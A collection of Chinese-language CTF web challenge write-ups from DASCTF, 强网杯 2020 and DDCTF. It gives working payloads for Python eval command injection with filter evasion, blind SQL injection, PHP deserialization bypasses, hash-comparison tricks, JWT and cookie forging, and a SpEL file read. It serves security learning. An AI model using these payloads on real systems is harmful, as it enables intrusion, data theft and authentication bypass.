[DASCTF] 简单的计算题
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import create
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)
## flag is in /flag try to get it
@app.route('/', methods=['GET', 'POST'])
def index():
def filter(string):
if "or" in string:
return "hack"
return string
if request.method == 'POST':
input = request.form['input']
create_question = create()
input_question = session.get('question')
session['question'] = create_question
if input_question==None:
return render_template('index.html', answer="Invalid session please try again!", question=create_question)
if filter(input)=="hack":
return render_template('index.html', answer="hack", question=create_question)
try:
calc_result = str((eval(input_question + "=" + str(input))))
if calc_result == 'True':
result = "Congratulations"
elif calc_result == 'False':
result = "Error"
else:
result = "Invalid"
except:
result = "Invalid"
return render_template('index.html', answer=result,question=create_question)
if request.method == 'GET':
create_question = create()
session['question'] = create_question
return render_template('index.html',question=create_question)
@app.route('/source')
def source():
return open("app.py", "r").read()
if __name__ == '__main__':
app.run(host="0.0.0.0", debug=False)
这个分为两关,第一关的源码如上,是给出了的,因为几乎没有什么过滤,我构造的payload如下
POST
input=[0,os.system("cat /flag >> app.py")][0]
然后访问 /source 就能看到flag了,这题竟然没有容器,就这么被我搅*了2333,后面的人可以直接上车
第二关的话多了个black_list,就是多ban了几个关键字,os、sys、eval,read都被ban了,但是exec没有被ban,open().next()和open.write()没有被ban
我构造的payload又是搅*的哈哈哈
POST
input=[0,exec("o"+"s.sy"+"stem('cat /flag >> app.py')")][0]
[极客大挑战 2019]EasySQL
python3 BlindInjector.py "http://826a3fbc-cf97-4e95-95bf-5bae549406a0.node3.buuoj.cn/check.php?username=%27+or+sleep%282%29+and+left%28%28select+database%28%29%29%2C{length}%29%3D%27{char}%27+and+%271&password=683union" 20 0.2
python3 BlindInjector.py "http://7d138206-f189-4f62-9325-60e1f558391b.node3.buuoj.cn/check.php?username=%27%20or%20sleep(2)%20and%20left((SELECT%20group_concat(COLUMN_NAME)%20FROM%20information_schema.COLUMNS%20WHERE%20TABLE_NAME%20=%20%27geekuser%27),1)=%27a%27%20and%20%271&password=683union" 20 0.2
python BlindInjector.py "http://7d138206-f189-4f62-9325-60e1f558391b.node3.buuoj.cn/check.php?username=' or sleep(2) and binary left((SELECT group_concat(username,'@',password) FROM geek.geekuser),{length}) ='{char}' and '1&password=683union" 40 0.001
这题最后一个payload有个天坑,就是他查询结果比较默认不分大小写,需要加个 binary 强制区分大小写
in_fact@This_question_is_very_simple
and@Your_method_is_too_complicated
but@You_are_still_good
this_flag@flag{77d234e9-ed7d-4f8c-96f8-41e6796d6c74}
!!!!!!!!!!!!!!!!!!
我是智障,这题是万能密码啊啊啊啊啊啊啊啊啊!!!!!!!
1′ or ‘1
我是智障*+∞
[强网杯 2020] 强网先锋 web辅助
靶机地址:https://server.icystal.top/example/unserialize
我这个靶机因为CDN的原因,访问index.php和play.php的时候检测到的remote_ip不同,所以是拿不到flag的。但是不妨碍我们解题。
这题是个PHP反序列化题
除了一般的构造反序列化字符串外,这题主要有三个考点
第一个考点是 反序列化长度溢出
查看 common.php
function read($data){
$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}
这里的write和read是在index.php和play.php中写入和读取序列化字符串时使用的
//index.php
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
//play.php
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
PHP在序列化保护(protected)属性时,会在属性名前加 "\0*\0"
比如运行如下php代码
<?php
class jungle{
protected $name = "1";
private $id=5;
}
$e=new jungle();
echo serialize($e);
你会得到输出
O:6:"jungle":2:{s:7:" * name";s:1:"1";s:10:" jungle id";i:5;}
虽然我们看到输出的是空格,但是实际上是字符串终止符"\0"
在php中 ,双引号中的文字是开启转义的, "\0*\0"
相当于 python 中的 "\0*\0"
而单引号中的字符串是未开启转义的,'\0*\0'
相当于python中的r"\0*\0"
所以common.php中的read和write的本意是将php序列化字符串中的终止符转换为斜杠\加0后存入文件,以防再从文件中读入时,因为遇到终止符停止读入,而导致无法完整读入序列化字符串。
但是如果原本序列化前对象的属性值里有'\0*\0'
,那么从文件中读入其序列化字符串时其属性值里的'\0*\0'
也会被替换为"\0*\0"
,也就是说字符串长度从7字节缩短到了5字节。
故可效仿php序列化长度溢出来构造字符长度缩短的攻击。
第二个考点是 序列化字符串支持ascii表示
common.php中
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
check函数在play.php中从文件中读取序列化字符串时过滤了所有的name
子串。
这里可以开启反序列化对转义字符的支持,仅需将s改为S。然后用斜杠加上ascii来代替其中某个或某几个字符来绕过,比如n\61me
从文件中读进来的时候读进来的是'n\61me'
经过unserialize函数反序列化后就变成了'name'
这里有一个需要注意的地方就是php字符串中用转义ascii来表示字符和反序列化中转义ascii表示字符的格式并不一样
反序列化中是 斜杠\加上16进制ascii值
字符串中是 斜杠\加上x再加上16进制ascii值 或者斜杠\加上不知道怎么编码的一个十进制值
具体可以运行如下php查看
<?php
class a{};
echo "\x61"."\n";
echo "\141"."\n";
var_dump(unserialize('O:1:"a":1:{S:1:"\61";s:3:"\61";}'));
结果如下
a
a
object(a)#1 (1) {
["a"]=>
string(3) "\61"
}
第三个考点是 对魔法 __wakeup的绕过
对象被反序列化创建时会调用__wakeup函数
而class.php中midsolo
类定义了__wakeup
函数在反序列化的时候将其name
属性的值强制改为'Yasuo'
,但是我们需要利用其name
属性 装载jungle
类的对象序列化字符串,以在其被调用时激发__invoke
魔术方法调用Gank
方法,在Gank
方法里激发jungle
的__toString
来cat /flag
这里只要将midsolo
序列化后的字符串中表示属性个数的1
改为2
即可,让其与实际数量不符。
综上构造payload如下
index.php?username=A\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=;s:7:"\0*\0pass";O:7:"topsolo":1:{S:7:"\0*\0n\61me";O:7:"midsolo":2:{S:7:"\0*\0n\61me";O:6:"jungle":1:{S:7:"\0*\0n\61me";s:7:"Lee%20Sin";}}}s:8:"\0*\0admin";i:1;}
然后访问 play.php
就能看到flag了,如果顺利的话。
[强网杯 2020] 强网先锋 funhash
<?php
include 'conn.php';
highlight_file("funhash.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}
//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
die('level 2 failed');
}
//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();
?>
payload:
?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop
level1 md4直接爆破
php会把字符串"0exxx"当做科学计数法整数,因此0^n==0^m;
<?php
for ($i=0;$i<999999999;$i++){
echo "\r".$i;
if("0e$i"==hash("md4","0e$i")){echo "\n";break;}
}
level2 经典的md5数组绕过
两个数组值不同,但是md5处理不了返回的都是null
level3 md5第二个参数为true时返回 原始16字符二进制格式,默认为false
<?php
echo md5("ffidyop",true);
运行获得
'or'6]!r,b
[强网杯 2020] half_infiltration
外层是个php反序列化,内层是个文件上传,因为内层没做出来,所以就只讲外层了:
<?php
$flag='flag{aaaa}';
class Pass
{
function read()
{
ob_start();
global $result;
print $result;
}
}
class User
{
public $age,$sex,$num;
function __destruct()
{
$student = $this->age;
$boy = $this->sex;
$a = $this->num;
$student->$boy();
if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))
{
ob_end_clean();
exit();
}
global $$a;
$result=$GLOBALS['flag'];
ob_end_clean();
}
}
if (isset($_GET['x'])) {
unserialize($_GET['x']);
}
ob_start
和ob_end_clean
分别是进入缓冲区和清理缓冲区的语句,进入缓冲区后php输出不会直接输出给用户而是存放在缓冲区里,在调用ob_end_flush
或者程序执行完毕后输出。
但是这道题里无论你走哪个分支在程序结束前都会调用ob_end_clean
将缓冲区清空导致无法获得输出,因此我们需要在调用ob_end_clean前令程序结束,唯一的办法是令其报错终止。
为达此目标可以利用的语句为global $$a;
如果$a
的值为this,那么这个语句就变成了global $this;
,然而因为$this
是类中的局部变量,用于指向自身,不能声明为全局,因此会引起php程序执行异常而终止。
突破了缓冲区的限制后,要是想输出还得要程序执行输出语句,具有输出能力的函数只有pass
类的read
方法,其中会把全局result
变量的值打印出来,在引起异常前唯一能调用read的只有$student->boy();
语句,student
的值从属性age
赋值而来,boy
的值从属性sex
赋值而来,a
的值从属性num
中来。
因此构造一个User
类对象,属性age
值为Pass
类对象,sex
值为“read”
,num
值为"this"
$a=new Pass();
$c=new User();
$c->age=$a;
$c->sex="read";
$c->num="this";
虽然现在能把全局变量result的值输出出来了,但是我们并没有拿到flag,为此还需要把flag值存入全局变量result中。为实现此目的,题目已经准备好了相关语句。
global $$a;
$result=$GLOBALS['flag'];
为此构造一个User
类对象,属性age
值为Pass
类对象,sex
值为“read”
,num
值为“result”
即可.
$b=new User();
$b->age=$a;
$b->sex="read";
$b->num='result';
现在虽然可以将flag存入result,也能让result打印出来了,但是两段payload是独立的,如果先后发送的话,flag存入result后程序结束,等打印result时再起程序的result已经重置了,为此需要让他再一次反序列化中先后反序列化两个我们构造的对象,使用数组即可完成
echo serialize([$b,$c]);
反序列化数组时,从左至右依次创建数组成员,故顺利拿到flag。
[DDCTF] web签到题
看来得好好用java写点东西试试了,不然遇到java题啥都不会
题目描述
请从服务端获取client,利用client获取flag server url: http://117.51.136.197/hint/1.txt
访问 http://117.51.136.197/hint/1.txt 截图如下
你登录他会给你个token,然后用这个token过auth验证。
第一层这个是个JWT token伪造,你登录他给你的token中写的权限是GUEST,只有权限为ADMIN在auth验证时才能过。
JWT(json web token)的格式分三段,格式为header.payload.signature.
拿到token如下
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6IjEiLCJwd2QiOiIyIiwidXNlclJvbGUiOiJHVUVTVCIsImV4cCI6MTU5OTMwMDExNX0.lamitLXjSlw8AGphQbvTWfHncPSA7JsyY4pGGb2n53E=
第一段header是一个json的base64,内容为类型和加密算法声明:
>>> base64.b64decode("eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9")
b'{"typ":"JWT","alg":"HS256"}'
得知加密方式是hmacsha256
第二段payload也是一个json的base64,主要用来装载数据
>>> base64.b64decode("eyJ1c2VyTmFtZSI6IjEiLCJwd2QiOiIyIiwidXNlclJvbGUiOiJHVUVTVCIsImV4cCI6MTU5OTMwMDExNX0=")
b'{"userName":"1","pwd":"2","userRole":"GUEST","exp":1599300115}'
第三段signature就是header.payload用指定的加密算法加密后的base64
base64.b64encode(hmac.new(secret, code, digestmod=sha256).digest())
写python脚本对secret进行爆破,得知密钥为"2".你也可以用jwtcrack爆破
然后把userRole改为admin,再给他加密回去生成伪造的token就能过验证
然后得到client。
跑一下./client
crystalrays@DESKTOP-L8RACR2:/mnt/c/users/q1079/downloads$ ./client
2020/09/30 11:24:23
____ _ ____ _ ____ _____ _____ ____ ____ ____ ____
/ _ \/ \/ _ \/ \/ _\/__ __\/ / /_ \/ _ \/_ \/ _ \
| | \|| || | \|| || / / \ | __\_____ / /| / \| / /| / \|
| |_/|| || |_/|| || \__ | | | | \____\/ /_| \_/|/ /_| \_/|
\____/\_/\____/\_/\____/ \_/ \_/ \____/\____/\____/\____/
2020/09/30 11:24:23
+---------------------------------------------------+
|Flag Path := /home/dc2-user/flag/flag.txt |
|签名格式 := command|time_stamp |
+---------------------------------------------------+
2020/09/30 11:24:23
+------------------+ +----------------------+ +--------------------+
| | | | | |
| +----------------> +----------------> |
| Client | | Auth/Command | | minion |
| <----------------+ +<---------------+ |
| | | | | |
+------------------+ +----------------------+ +--------------------+
2020/09/30 11:24:23 [*]Start ping master...
2020/09/30 11:24:26 [+]%s connect failhttp://117.51.136.197/server/health
2020/09/30 11:24:26 [*]Start send command to minions...
2020/09/30 11:24:26 [+]get sign:Lh9cSe/4QJR3+3qROYTb73oZGa/xGDN9gapLtANWAcA=, command:'DDCTF', time_stamp:1601436266
2020/09/30 11:24:30 Post http://117.51.136.197/server/command: dial tcp 117.51.136.197:80: getsockopt: connection refused
当时的没有截图,现在已经连不上服务器了。。。不过不影响
这里这个web题需要逆向client,我。。。。逆向获得加密方式为hmacsha256,密钥为DDCTFWithYou,测试一下
>>> JWT(b"DDCTFWithYou",b"'DDCTF'|1601436266")
b'Lh9cSe/4QJR3+3qROYTb73oZGa/xGDN9gapLtANWAcA='
看来没错,然后后台估计是java的,我不会,就借用网上别的大佬的payload里的command了
'T(java.net.URLClassLoader).getSystemClassLoader().loadClass("java.nio.file.Files").readAllLines(T(java.net.URLClassLoader).getSystemClassLoader().loadClass("java.nio.file.Paths").get("/home/dc2-user/flag/flag.txt"))'
卡片商店
借还卡片的时候写一个特别大的数(也别太大)会有溢出,然后就会有多出来的卡可以买礼物了
恭喜你,买到了礼物,里面有夹心饼干、杜松子酒和一张小纸条,纸条上面写着:url: /flag , SecKey: Udc13VD5adM_c10nPxFu@v12,你能看懂它的含义吗?
夹心饼干的因为为cookie,杜松子酒英文为Gin,根据这个提示可以知道后台是Go的Gin写的,解题需要改cookie
因为不会Go啥的,又是接下去一脸懵逼。。。以下引用自大佬们的博客
很容易想到伪造session,把之前的session解两次b64发现有admin,用现成工具伪造一下即可
——DDCTF2020 Writeup_郁离歌丶的博客-CSDN博客
package main import ( "fmt" "github.com/gorilla/securecookie" ) var ( hashKey = []byte("Udc13VD5adM_c10nPxFu@v12") init = securecookie.New(hashKey, nil) cookie = "MTU5OTIyMzkzOHxEdi1CQkFFQ180SUFBUkFCRUFBQV81dl9nZ0FDQm5OMGNtbHVad3dJQUFaM1lXeHNaWFFHYzNSeWFXNW5ER1FBWW5zaWIzZHBibWR6SWpwYlhTd2lhVzUyWlhOMGN5STZXMTBzSW0xdmJtVjVJam94TWpJeU1qSXhPRFE1T0RrNU9ERTNOeXdpYm05M1gzUnBiV1VpT2pFMU9Ua3lNak0xT0RBc0luTjBZWEowWDNScGJXVWlPakUxT1RreU1qTTBNREI5Qm5OMGNtbHVad3dIQUFWaFpHMXBiZ1JpYjI5c0FnSUFBQT09fJpiqcBLlxJJIorq5kZWajwO4UHCF02nu8z9OVlphBvj" ) func main() { var values map[interface{}]interface{} if err := init.Decode("session",cookie, &values); err == nil { fmt.Print(values) values["admin"] = true fmt.Print(init.Encode("session", values)) } }
其他
做题中的一些小知识点
-
linux的shell命令find可以跟参数
-exec command \;
命令执行 -
mysql有一个表information_schema.processlist里面有执行过的sql语句
-
gopher协议、xml模板注入,这有一道题有时间要专门写个wp
-
linux的shell命令sed
删除文档的第一行
sed -i '1d' <file>
删除文档的最后一行
sed -i '$d' <file>